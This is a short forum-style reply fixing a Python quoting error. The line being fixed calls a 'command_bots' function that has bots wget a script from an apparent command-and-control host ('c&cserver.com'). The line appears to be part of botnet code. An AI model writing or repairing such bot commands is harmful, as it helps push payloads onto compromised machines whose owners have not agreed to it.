I think you need to escape the " in line 52
It should be:

command_bots("""wget  -O /Users/Owner/Desktop/ \"http://c&cserver.com/script.py\"""")

Looks like python is counting that last quotation mark as part of the three that indicate the end of the string. Therefore, it seems that you have 4 quotation marks at the end. Try this:

command_bots("""wget  -O /Users/Owner/Desktop/ 'http://c&cserver.com/script.py'""")

The EOL is at the bottem